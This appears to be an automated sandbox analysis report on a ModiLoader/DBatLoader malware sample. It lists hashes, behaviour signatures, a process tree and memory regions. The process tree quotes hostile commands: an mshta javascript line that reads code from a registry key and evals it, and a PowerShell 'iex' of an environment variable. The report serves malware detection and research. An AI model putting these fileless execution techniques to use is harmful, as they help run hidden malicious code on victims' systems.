Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-05-2024 10:38

General

  • Target

    174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe

  • Size

    265KB

  • MD5

    174b618aa8d992af5b03d7d1e56d6549

  • SHA1

    e5d20982b70615d945102d9285bdab2c5841a804

  • SHA256

    68d575796afd7a48fdabc4ff88c4aa26a817ddc3b3bb1df8a9705b58d57aa534

  • SHA512

    10885d086f248c681ee37d9bb2ecc446fbea89215a8c09ea04268ddceb7aab3e3a598d57e6d7ebeaf9a8a9e64f3f61eb8bbbf7449566db417ec693c4c7330599

  • SSDEEP

    6144:veX94nYY+uUMFemOFu3Ksm2Yn+EE9j+ivEyPYxJQev:OSnYPweZnl+EER+iv6Iev

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 10 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"
      2⤵
        PID:392
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:k1J6Tjaw="4bGQJxk";B4e=new%20ActiveXObject("WScript.Shell");sww2sVm4="Rx";bvLq26=B4e.RegRead("HKLM\\software\\Wow6432Node\\J4BupofyG\\qxymf3Dw");rO2rqITJ="oiV0";eval(bvLq26);sc61bdnvN="cUx";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1192
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:uedv
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3044
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4256 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:8
      1⤵
        PID:5100

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymed2445.yem.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/392-9-0x00000000009F0000-0x0000000000AC6000-memory.dmp

        Filesize

        856KB

      • memory/392-11-0x00000000009F0000-0x0000000000AC6000-memory.dmp

        Filesize

        856KB

      • memory/392-6-0x00000000009F0000-0x0000000000AC6000-memory.dmp

        Filesize

        856KB

      • memory/392-10-0x00000000009F0000-0x0000000000AC6000-memory.dmp

        Filesize

        856KB

      • memory/392-2-0x0000000000400000-0x000000000043A000-memory.dmp

        Filesize

        232KB

      • memory/392-7-0x00000000009F0000-0x0000000000AC6000-memory.dmp

        Filesize

        856KB

      • memory/392-8-0x00000000009F0000-0x0000000000AC6000-memory.dmp

        Filesize

        856KB

      • memory/392-12-0x00000000009F0000-0x0000000000AC6000-memory.dmp

        Filesize

        856KB

      • memory/392-4-0x0000000000400000-0x000000000043A000-memory.dmp

        Filesize

        232KB

      • memory/392-5-0x0000000000400000-0x000000000043A000-memory.dmp

        Filesize

        232KB

      • memory/3044-31-0x00000000063F0000-0x000000000643C000-memory.dmp

        Filesize

        304KB

      • memory/3044-16-0x0000000005040000-0x0000000005062000-memory.dmp

        Filesize

        136KB

      • memory/3044-17-0x0000000005820000-0x0000000005886000-memory.dmp

        Filesize

        408KB

      • memory/3044-18-0x0000000005900000-0x0000000005966000-memory.dmp

        Filesize

        408KB

      • memory/3044-33-0x00000000062F0000-0x000000000630A000-memory.dmp

        Filesize

        104KB

      • memory/3044-28-0x0000000005970000-0x0000000005CC4000-memory.dmp

        Filesize

        3.3MB

      • memory/3044-30-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

        Filesize

        120KB

      • memory/3044-14-0x0000000002720000-0x0000000002756000-memory.dmp

        Filesize

        216KB

      • memory/3044-32-0x0000000007650000-0x0000000007CCA000-memory.dmp

        Filesize

        6.5MB

      • memory/3044-15-0x00000000051F0000-0x0000000005818000-memory.dmp

        Filesize

        6.2MB